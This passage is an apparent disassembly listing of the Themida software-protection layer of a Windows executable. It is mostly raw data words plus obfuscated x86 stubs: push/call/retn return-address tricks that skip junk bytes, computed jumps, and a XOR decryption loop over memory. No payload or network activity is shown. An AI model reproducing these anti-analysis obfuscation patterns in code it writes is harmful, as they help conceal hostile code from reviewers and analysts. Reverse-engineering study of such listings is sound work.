		dd 6A060B04h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0F51C351h, 0E2C96D77h,	89147D7Ah
		dd 0B0741BDh, 8BE1B606h, 85891C4Fh, 60B19EDh, 0CD950960h
		dd 0E9060B08h, 0Fh, 0FEBB7CCFh,	80FACEA1h, 0BE6B5D8Fh
		dd 61F210FAh, 6A016Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 8F0FAEC3h, 6, 3339B531h,	0E850060Bh
		dd 14h,	5521C9CAh, 4459708Ah, 0CC2C8927h, 9BF943C7h, 0BE0C1889h
		dd 0AE952h, 43820000h, 0CA0D95CAh, 7629243Fh, 0C895A5Bh
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 8166C6B8h, 8D1285F3h, 0E3ECA85h,	0C0BB6606h
		dd 619589F0h, 0FF060B28h, 8FBB66D0h, 59CFBB29h,	4F8B2EF3h
		dd 71958B20h, 6A060B17h, 0E9DF8B03h, 0Ah, 0B0140F78h, 86124D8Ah
		dd 0E8919598h, 0Bh, 955E3966h, 7BB7B5F9h, 6625A982h, 5B37D1BBh
		dd 912BB750h, 0CA858DF5h, 0F060E3Eh, 686h, 498D8900h, 66060B27h
		dd 69DCD281h, 9D89D0FFh, 60B31B1h, 4D708D8Bh, 9589060Bh
		dd 60B1069h, 952B01FEh,	60B0E1Dh, 4D70858Bh, 6A060Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 3F1BDDC3h, 12E9h, 66066600h,	5D4F0FB9h, 3A3627ABh, 70E89D12h
		dd 60A701D7h, 8DBD0156h, 58060B22h, 0D19D2950h,	5E060B27h
		dd 6600FE61h, 16ADA8Bh,	5F6F68F5h, 0DE8A90A3h, 90243481h
		dd 8B6F5CC0h, 0B0B399Dh, 0D4858D06h, 81060E3Eh,	5336DCF3h
		dd 3D0FF53h, 0B249D9Dh,	0E9BD8306h, 60B14h, 105840Fh, 10E90000h
		dd 60000000h, 0E9D09D8Ah, 0BC34961Ch, 952B7136h, 83E56A84h
		dd 0B0B19BDh, 850F0106h, 0E3h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 54C35343h, 382E90FDh, 0C19D8BC7h
		dd 8D060B02h, 0E3EDE8Dh, 0CE9CBB06h, 14E85AAFh,	3F000000h
		dd 90D43CB3h, 9CC110FFh, 33EC0439h, 6F6D1505h, 80F976DCh
		dd 6A5A6CCBh, 0E2B06003h, 16799589h, 6A61060Bh,	56006A01h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0D1FFC926h, 5ED8D89h, 16A060Bh, 0DE9h, 8EF9DC00h, 0BB7CCFAAh
		dd 0FACEA1FEh, 16A8F80h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 15h, 92C35040h, 0E59D8929h, 80060B0Ah, 0D1FFC0E7h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 1FC35040h
		dd 505BD7E8h, 6AFC8AFAh, 94E38120h, 6A5BB792h, 69C380FFh
		dd 1BBD95FFh, 8F0F060Bh, 3, 0B8D08B66h,	0
; ---------------------------------------------------------------------------
		mov	[ebp+60B2DF1h],	esi
		or	eax, eax
		jz	loc_542ACF
		sub	[ebp+60B1969h],	ebx
		cmp	dword ptr [ebp+60B2F21h], 0
		jz	loc_542ACF
		mov	dx, 6BE3h
		call	dword ptr [ebp+60B101Dh]
		push	0
		push	edi
		call	sub_542AB2
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_542AB2	proc near		; CODE XREF: Themida_:00542AAAp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_542AB2	endp

; ---------------------------------------------------------------------------
		dw 0EF5Fh
		dd 77AFA6AFh, 0FEBB558Dh
		db 0BAh, 0Fh, 2Ah
; ---------------------------------------------------------------------------


loc_542ACF:				; CODE XREF: Themida_:00542A84j
					; Themida_:00542A97j
		mov	eax, [ebp+60B2EC5h]
		mov	bx, 5E56h
		mov	byte ptr [eax],	0
		movsx	ebx, dx
		push	ecx
		mov	bl, 13h
		pop	ebx
		pop	eax
		stc
		mov	cx, ds
		push	0
		push	eax
		call	sub_542AF3
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_542AF3	proc near		; CODE XREF: Themida_:00542AEBp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_542AF3	endp

; ---------------------------------------------------------------------------
		retf	7961h
; ---------------------------------------------------------------------------
		dw 0BD68h
		dd 0BEEA80A3h, 0F04C1F6h, 5E84h, 69D78000h, 56E9h, 0BE900h
		dd 0BAC10000h, 0AE88C8B1h, 0AC8F6917h, 75B58BA5h, 0E8060B1Fh
		dd 5, 0C50CD5A8h, 5B40B3A2h, 1180C681h,	6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0E5D744C3h, 19B88E57h, 0C7DF8BDBh, 6, 5EF48A00h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0D8C35141h, 85897599h
		dd 60B2479h, 531BD89h, 0EE80060Bh, 0F883D6h, 0BA3840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0C7BC73C3h, 45F3EF73h, 0F883BEBDh, 0B9850F01h
		dd 6A000001h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0F17C350h, 682h, 65B58900h, 0B8060B0Ch
		dd 0
; ---------------------------------------------------------------------------
		add	[ebp+60B2ED5h],	ecx
		or	eax, eax
		jz	loc_542CFF
		push	0
		push	edx
		call	sub_542C1D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_542C1D	proc near		; CODE XREF: Themida_:00542C15p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_542C1D	endp

; ---------------------------------------------------------------------------
		sbb	al, 6Eh
		jmp	loc_542C44
; ---------------------------------------------------------------------------
		dd 62DC1B9Ch, 0AEBA7C40h, 0E0997DF1h, 0F59ABE0Bh
; ---------------------------------------------------------------------------


loc_542C44:				; CODE XREF: Themida_:00542C2Fj
		mov	[ebp+60B00C1h],	edi
		cmp	eax, 1
		jz	loc_542D1F
		mov	bx, 25EBh
		push	edx
		push	esi
		mov	edx, 7BAEBAA8h
		pop	edx
		pop	edx
		cmp	eax, 3
		jz	loc_542CA8
		sub	[ebp+60B093Dh],	ebx
		sub	eax, eax
		push	0
		push	ebx
		call	sub_542C7C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_542C7C	proc near		; CODE XREF: Themida_:00542C74p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_542C7C	endp

; ---------------------------------------------------------------------------
		and	ebp, [esi+4CE839B8h]
		adc	[edi+ebx+0Ah], eax
		lea	edi, dword_5B7974[ebp]
		mov	bx, 9361h
		jmp	edi
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+60B0C41h]


loc_542CA8:				; CODE XREF: Themida_:00542C63j
					; Themida_:00542DF4j
		mov	eax, 1
		push	0
		push	edi
		call	sub_542CB8
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_542CB8	proc near		; CODE XREF: Themida_:00542CB0p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_542CB8	endp

; ---------------------------------------------------------------------------
		dd 2BF7B62Dh, 7E0AF023h, 0BE92AACh, 0D5000000h,	5AA0DA9Ah
		dd 9D4E5BAFh, 0BB665F8Ch, 0BD8D8CB2h, 5B7974h, 2B02CABBh
		dd 7D958929h, 0FF060B17h, 0B1BD89E7h
		db 15h,	0Bh, 6
; ---------------------------------------------------------------------------


loc_542CFF:				; CODE XREF: Themida_:00542C0Cj
		lea	edi, [ebp+60B43FCh]
		and	bh, 4Fh
		jmp	loc_542FBF
; ---------------------------------------------------------------------------
		mov	[ebp+60B0439h],	esi
		jbe	loc_542D1F
		mov	[ebp+60B0945h],	ecx


loc_542D1F:				; CODE XREF: Themida_:00542C4Dj
					; Themida_:00542D13j ...
		mov	dword ptr [ebp+60B4DCBh], 5
		push	0
		push	ebp
		call	sub_542D34
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_542D34	proc near		; CODE XREF: Themida_:00542D2Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_542D34	endp

; ---------------------------------------------------------------------------
		dd 0B4F4AC50h, 9D8B2CB7h, 60B029Dh, 10880Fh, 0BE90000h
		dd 0A0000000h, 1106ABF6h, 936DF13Eh, 5B8033Eh, 0F000000h
		dd 1680h, 0BE800h, 5D9F0000h, 154AB9BBh, 0AF4668FCh, 0B707BB17h
		dd 0E95B35FEh, 93Fh, 2A86BB66h,	0F02F883h, 10085h, 619D8B00h
		dd 0B8060B1Ah, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_542DAF
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_542DAF	proc near		; CODE XREF: Themida_:00542DA7p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_542DAF	endp

; ---------------------------------------------------------------------------
		jnp	short near ptr loc_542E0A+7
		adc	al, 13h
		jmp	loc_542DD1
; ---------------------------------------------------------------------------
		dd 4D40991Dh, 0D80FEC60h
		db 0ECh
; ---------------------------------------------------------------------------


loc_542DD1:				; CODE XREF: Themida_:00542DC3j
		mov	edx, 6085A173h
		or	eax, eax
		jz	loc_542E65
		mov	edx, eax
		cmp	eax, 1
		jz	loc_542D1F
		mov	ebx, esi
		mov	[ebp+60B244Dh],	esi
		cmp	eax, 3
		jz	loc_542CA8
		push	0
		push	eax
		call	sub_542E05
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_542E05	proc near		; CODE XREF: Themida_:00542DFDp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax


loc_542E0A:				; CODE XREF: Themida_:00542DBFj
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_542E05	endp

; ---------------------------------------------------------------------------
		db 0E5h, 0FAh, 0F5h
; ---------------------------------------------------------------------------
		rcl	ah, cl
		pop	esi
		retf	8722h
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+60B2471h]
		mov	eax, 0
		mov	[ebp+60B1861h],	edx
		lea	edi, dword_5B7974[ebp]
		pusha
		mov	ch, 1Ah
		popa
		jmp	edi
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_542E46
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_542E46	proc near		; CODE XREF: Themida_:00542E3Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_542E46	endp

; ---------------------------------------------------------------------------
		dw 729Bh
		dd 9749AB6Fh, 1B251ABh,	0B29ED95h
; ---------------------------------------------------------------------------
		push	es


loc_542E65:				; CODE XREF: Themida_:00542DD8j
		lea	edi, [ebp+60B45F4h]
		sub	[ebp+60B05B1h],	edi
		jmp	loc_542FBF
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_542E81
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_542E81	proc near		; CODE XREF: Themida_:00542E79p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_542E81	endp

; ---------------------------------------------------------------------------
		db 4Dh,	0CDh, 0BCh
		dd 99E0D719h, 3F883ADh,	21850Fh, 0BF0F0000h, 88BD8DD1h
		dd 80060B47h, 0CE906C3h, 29000001h, 0B19799Dh, 4890F06h
		dd 66000000h, 83637BBBh, 850F05F8h, 2Dh, 0E321C7BBh, 7F5E917h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0DA336BC3h, 0BF0F30EFh, 6F883D2h,	1F850Fh
		dd 0BD890000h, 60B0B09h, 4980BD8Dh, 0DA8B060Bh,	13F99D23h
		dd 0A4E9060Bh, 33000000h, 0B066995h, 7F88306h, 1D850Fh
		dd 85890000h, 60B0EC9h,	24BDBD8Dh, 952060Bh, 0B20998Dh
		dd 49E95B06h, 60000001h, 8361D18Bh, 850F0AF8h, 6Fh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 1C35646h, 397F0661h
		dd 85BD29D5h, 8D060B09h, 0B4B78BDh, 159D8B06h, 0E9060B0Dh
		dd 37h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch
		dd 7EC35646h, 1B55C854h, 470DC037h, 0EE9h, 0E6578D00h
		dd 0FA4E6Eh, 9DFBC2BCh
; ---------------------------------------------------------------------------
		xchg	eax, edi
		fucomip	st, st(5)


loc_542FBF:				; CODE XREF: Themida_:00542D08j
					; Themida_:00542E71j
		push	edi
		jmp	loc_542FCE
; ---------------------------------------------------------------------------
		db 60h,	2Dh, 73h
		dd 0E5DA614Dh
		db 0FCh, 0D8h
; ---------------------------------------------------------------------------


loc_542FCE:				; CODE XREF: Themida_:00542FC0j
		mov	ecx, 3CEB60E2h
		push	0
		push	edx
		call	sub_542FDE
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_542FDE	proc near		; CODE XREF: Themida_:00542FD6p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_542FDE	endp

; ---------------------------------------------------------------------------
		enter	0FFFFE56Ch, 5Eh
		imul	edx, eax, 7F5B2EC5h
		push	ebx
		sbb	dx, 9CE0h
		pop	ebx
		cmp	dword ptr [edi], 0
		jz	loc_54305E
		push	0
		push	eax
		call	sub_543013
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_543013	proc near		; CODE XREF: Themida_:0054300Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_543013	endp

; ---------------------------------------------------------------------------
		db 42h
		dd 3E68A4CFh, 0F306B8Ah, 0BAD88B66h, 643FC9BBh,	72BAC9D1h
		dd 475686C2h, 5587BA66h, 0FFFFBAE9h, 11E960FFh,	5000000h
		dd 0B6B010A8h, 0B1E4F51Ch, 28B76CF2h, 0C2DDED80h
; ---------------------------------------------------------------------------
		cld
		popa


loc_54305E:				; CODE XREF: Themida_:00543002j
		pop	edi
		push	0
		push	edx
		call	sub_54306A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54306A	proc near		; CODE XREF: Themida_:00543062p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_54306A	endp

; ---------------------------------------------------------------------------
		retn	0FF04h
; ---------------------------------------------------------------------------
		db 64h,	41h, 0DFh
		dd 0E82F4857h, 0BD89D98Bh, 60B3235h, 4D74BD89h,	0F98A060Bh
		dd 16C58D8Dh, 6A060Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 971444C3h, 8A0Fh, 0B5FF0000h, 60B2F4Dh
		dd 0F9858DF9h, 50060DA5h, 54E3BD8Dh, 8D8D060Bh,	60B703Bh
		dd 831ABCB8h, 30CF2B54h, 47C8D007h, 8DF87549h, 0B6FBAB5h
		dd 538D8D06h, 2B060B70h, 33A4F3CFh, 0B8C9h, 0C00B0000h
		dd 0BD834674h, 60B2F21h, 0FF067400h, 0B101D95h,	74B58B06h
		dd 8D060B4Dh, 0DA5F985h, 8DD0FF06h, 0B41D185h, 0C7D0FF06h
		dd 0B067D85h, 106h, 2DA58B00h, 8B060B10h, 0B2891B5h, 7DAD8B06h
		dd 33060B21h, 0CC2C0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 0B6C35343h, 0E85F2067h, 9, 0E795842Eh
		dd 0C3FA63C6h, 91B58973h, 5A060B1Fh, 9E9h, 7B5E6700h, 0A0EF4A5Bh
		dd 0BF0FED99h, 21BD83DBh, 60B00h, 4D840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0B03582C3h, 20CD6965h, 0FFE78C45h, 0B05B595h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 85C2AECDh, 83F96E7Fh, 0B1611BDh, 850F0006h, 17Ah, 17BB6652h
		dd 8B665A7Dh, 19BD83DAh, 1060B0Bh, 164850Fh, 8A0F0000h
		dd 5, 8E38166h,	3DBD8391h, 60B0Ch, 14C840Fh, 85890000h
		dd 60B152Dh, 4DC7BD83h,	0F00060Bh, 13984h, 0E5958B00h
		dd 8D060B0Dh, 0DA5F985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0C7544B8Fh, 0E9CD591Bh
		dd 12h,	0C8DD43CBh, 6DE6E444h, 0B09C02C2h, 0FB2A1BE2h
		dd 0B58B0265h, 60B4D74h, 9521BA66h, 0F8D0FFF8h,	284585C6h
		dd 8B54060Bh, 0B0E1D9Dh, 89DD6806h, 0DE8EA2Fh, 0DF000000h
		dd 2566BA04h, 0E12C0CE6h, 0F3E92115h, 5ADF8B56h, 2434815Ah
		dd 15613729h, 1EC5958Bh, 0B5FF060Bh, 60B0B01h, 8D90EA80h
		dd 0B390D85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 84E62DA5h, 8B66430Dh, 29D0FFD9h
		dd 0B2A6985h, 60006A06h, 13759D89h, 61F5060Bh, 9E8FF6Ah
		dd 32000000h, 9DCFB18Bh, 46D67603h, 12E8h, 0FC7B3900h
		dd 0E9B2D496h, 0E642772Eh, 9CAA3D23h, 80DCF3D8h, 5B5A42F7h
		dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 878EECC3h, 59958B9Ch, 0FF060B23h,	0B0655B5h
		dd 4D6FBA06h, 95FF578Ch, 60B2F4Dh, 15158D89h, 0B58B060Bh
		dd 60B4D74h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	35C35141h, 6C3DC529h, 3413308h,	0B14E59Dh, 8B0FC306h
		dd 5, 38C38166h, 0C5B58BF9h, 66060B2Eh,	0F60BD68Bh, 66840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 8A5633C3h, 0CFD9CB33h, 11E935h, 7A5D0000h
		dd 93718E4Eh, 3402EA42h, 0E5B0B5C8h, 0B6A21B1Ah, 6C695h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0F1C35141h
		dd 7E9h, 10892300h, 63B0236Bh, 4D7C8589h, 0C680060Bh, 159529C8h
		dd 83060B05h, 840F00F8h, 315h, 0AAD8D01h, 0B8060Bh, 80000000h
		dd 0AE93BF2h, 40000000h, 0C32A9319h, 3900823h, 0F883FBh
		dd 0F5840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 3BE85EC3h, 0B70FEC55h, 2F883D1h
		dd 97850Fh, 0BD290000h,	60B0F11h, 43F7858Dh, 0EE9060Bh
		dd 0D6000000h, 2C0D0F47h, 9BD0FF50h, 0B661D1D6h, 2DD18B53h
		dd 929h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	89C35646h, 0F79D9B6Dh, 0D281C638h, 191DA617h, 0EE06BA66h
		dd 0D98B6650h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 746BC353h, 0CAB70F60h
		dd 611AEA80h, 0C3DF8B66h, 0D6816660h, 0F3B41731h, 68B0F61h
		dd 3000000h, 0B29F59Dh,	0B806h,	6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0BD42ACC3h
		dd 0B589E085h, 60B2039h, 1FCE9h, 0B8D68B00h, 1,	0E1D1BA66h
		dd 43FCBD8Dh, 9D2B060Bh, 60B01D1h, 0BEE9h, 0E0BB6600h
		dd 2F883D6h, 53850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 8D3D7EC3h, 0B45F4BDh
		dd 659D0306h, 0E9060B03h, 83h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 66C35747h, 0C498DFDCh, 0EB7C1F66h
		dd 3F883ADh, 28850Fh, 8A0F0000h, 0Bh, 5840Fh, 81660000h
		dd 8D74F5DBh, 0B4788BDh, 399D8906h, 0E9060B08h,	33h, 0AC9B589h
		dd 0F883060Bh, 24850F05h, 60000000h, 0D8CF8166h, 858D8BF9h
		dd 61060B20h, 0B2E9h, 0E9F08A00h, 0Bh, 12C9BD1Eh, 0FF9BD78Ah
		dd 574C7475h, 0E19D8BFCh, 0B9060B07h, 3CEB60E2h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0CAC35040h, 958BDE44h
		dd 60B1685h, 15299D09h,	3F83060Bh, 60840F00h, 3000000h
		dd 0B2F499Dh, 0E80F3006h, 11h, 18D99A4Ah, 8930CB3Ch, 3D1890D7h
		dd 80547641h, 7E959h, 97B20000h, 0F561AEAAh, 0C9D15A97h
		dd 8147D78Bh, 0B7FFA7CBh, 0E9D18B47h, 0FFFFFFBAh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0A5C35747h, 0A18D8959h
		dd 83060B29h, 850F05F8h, 79h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 5EC35747h, 0B7B5F995h, 0E9A9827Bh
		dd 0Dh,	39E78E0Ch, 2D7A322Dh, 0AC71B135h, 0D98C6627h, 31D58529h
		dd 0C1F6060Bh, 1C850F04h, 8B000000h, 0B067995h,	0B806h
		dd 85890000h, 60B2981h,	1CE9h, 0B5BD8900h, 8B060B06h, 0B188185h
		dd 6880F06h, 89000000h,	0B08A18Dh, 8BE0FF06h, 4DBD83D3h
		dd 60B2Fh, 7F850Fh, 820F0000h, 6, 12C59589h, 5050060Bh
		dd 0FD08B52h, 0E4BA6631h, 89585A90h, 66572404h,	178DEB81h
		dd 4585C65Bh, 45060B28h, 1B099D23h, 1068060Bh, 81E47A5Fh
		dd 36792434h, 820F6A08h, 6, 322D8D89h, 0B5FF060Bh, 60B0B01h
		dd 858DD18Ah, 60B390Dh,	0E6A4B6BAh, 0E9D0FF5Ah,	0Fh, 0C55C7E3Ah
		dd 0B82F18F2h, 4B3D8A00h, 89D3BE22h, 0B2F4D85h,	8958FC06h
		dd 0B02A995h, 0CBBD8306h, 60B4Dh, 56840Fh, 840F0000h, 23h
		dd 12E8h, 7ACC5100h, 0AF49A07h,	0FAD7A3AAh, 0BFCE4CCFh
		dd 0E9E83E56h, 6, 0D41B1418h, 0FF5A2DE1h, 0B0655B5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0FF3D7688h, 0B2F4D95h, 0D6B70F06h, 0F00F883h, 13185h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0D88BA1FDh, 899BD83h, 0F00060Bh,	6D84h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 10E680FAh, 0FFDFB70Fh
		dd 0B0899B5h, 0B8E0B706h, 1, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0A0C35242h,	0F81ABE7h, 682h
		dd 0C5F38100h, 0FC4E63AEh, 262E9h, 78A0F00h, 50000000h
		dd 0CEDB8166h, 0B5FF5A0Fh, 60B0655h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 43C35646h, 21AB4772h, 0F09B589h
		dd 0B5FF060Bh, 60B0655h, 0B5FFF58Ah, 60B2F4Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 76C35141h, 0FE871015h
		dd 8CA502D5h, 0D178B860h, 840F4174h, 3,	611AC580h, 1E2E9h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 7A45DE4Bh, 8A576566h, 0F5F5BF8h,	184h, 0BD83F800h
		dd 60B0BD9h, 34850F00h,	6A000001h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 2839C351h
		dd 6830F82h, 9000000h, 0B1659B5h, 2EBB6606h, 0C6FE8A4Eh
		dd 0B284585h, 0AE94D06h, 57000000h, 0A3A12D6Eh,	0A9046414h
		dd 1D8D0127h, 0E8060B21h, 4, 0A43576A8h, 50D18B66h, 0C628BB66h
		dd 424448Bh, 754FD7BBh,	50008B1Fh, 0FD98B52h, 11E95331h
		dd 76000000h, 192B45C9h, 676C82A4h, 2EF93C46h, 0E8BA0E07h
		dd 89585A5Ah, 0E8042444h, 8, 0AC1E37D9h, 0AAFF8A4Ah, 0A7D111BAh
		dd 6A585B41h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 2700C350h, 0EA757DF5h,	188D9D23h
		dd 0B5FF060Bh, 60B0315h, 43A569BAh, 0D858D4Fh, 6A060B39h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 4525C353h, 53AD2E7Fh, 0FE960h, 7360000h
		dd 77C683C6h, 914166Ah,	15F632D1h, 0CE816690h, 0FF615069h
		dd 0C58589D0h, 89060B15h, 0B0BD985h, 7E806h, 24290000h
		dd 16A046E3h, 0FB9DBB02h, 0B85A29D7h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+60B2DF1h],	ebx
		mov	[ebp+60B4D74h],	edi
		or	[ebp+60B1A4Dh],	ecx
		or	eax, eax
		jz	loc_543AEF
		mov	[ebp+60B0B4Dh],	edi
		jmp	loc_543B33
; ---------------------------------------------------------------------------
		sub	[ebp+60B21DDh],	edx


loc_543AEF:				; CODE XREF: Themida_:00543AD8j
		push	dword ptr [ebp+60B2F4Dh]
		push	eax
		mov	edx, [ebp+60B0C0Dh]
		pop	ebx
		lea	eax, [ebp+60DA5F9h]
		and	bh, 0FFh
		push	eax
		push	eax
		push	edx
		call	near ptr loc_543B1E+2
		fist	word ptr fs:[eax+4F942D0h]
		sub	al, 0F9h
		mov	esi, 89D3CE78h
		pusha
		dec	eax


loc_543B1E:				; CODE XREF: Themida_:00543B09p
		fisub	word ptr [esi]
		mov	ebx, 0F5B24D0h
		xor	[edi-4Eh], edx
		inc	esi
		pop	edx
		pop	edx
		pop	eax
		mov	[esp], eax
		mov	bx, ax


loc_543B33:				; CODE XREF: Themida_:00543AE4j
		push	eax
		push	esi
		lea	edi, [ebp+60B54E3h]
		lea	ecx, [ebp+60B7AA4h]
		mov	eax, 748323BCh
		sub	ecx, edi


loc_543B48:				; CODE XREF: Themida_:00543B4Ej
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_543B48
		pop	esi
		pop	eax
		cmp	dword ptr [ebp+60B0899h], 0
		jz	short loc_543B61
		mov	ecx, [ebp+60B0301h]


loc_543B61:				; CODE XREF: Themida_:00543B59j
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	loc_543C09
		cmp	dword ptr [ebp+60B2F21h], 0
		jz	short loc_543B7F
		call	dword ptr [ebp+60B101Dh]


loc_543B7F:				; CODE XREF: Themida_:00543B77j
		mov	eax, 0
		or	eax, eax
		jnz	short loc_543B91
		cmp	dword ptr [ebp+60B4D7Ch], 1
		jz	short loc_543B9A


loc_543B91:				; CODE XREF: Themida_:00543B86j
		cmp	dword ptr [ebp+60B4D7Ch], 2
		jnz	short loc_543BA8


loc_543B9A:				; CODE XREF: Themida_:00543B8Fj
		mov	esi, [ebp+60B4D74h]
		lea	eax, [ebp+60DA5F9h]
		call	eax


loc_543BA8:				; CODE XREF: Themida_:00543B98j
		lea	eax, [ebp+60B41D1h]
		call	eax
		cmp	dword ptr [ebp+60B1FDDh], 2
		jnz	short loc_543BE8
		mov	esp, [ebp+60B102Dh]
		mov	eax, [ebp+60B0899h]
		mov	[esp], eax
		mov	dword ptr [ebp+60B067Dh], 1
		mov	esi, [ebp+60B4D78h]
		mov	ebp, [ebp+60B217Dh]
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------
		jmp	short $+2


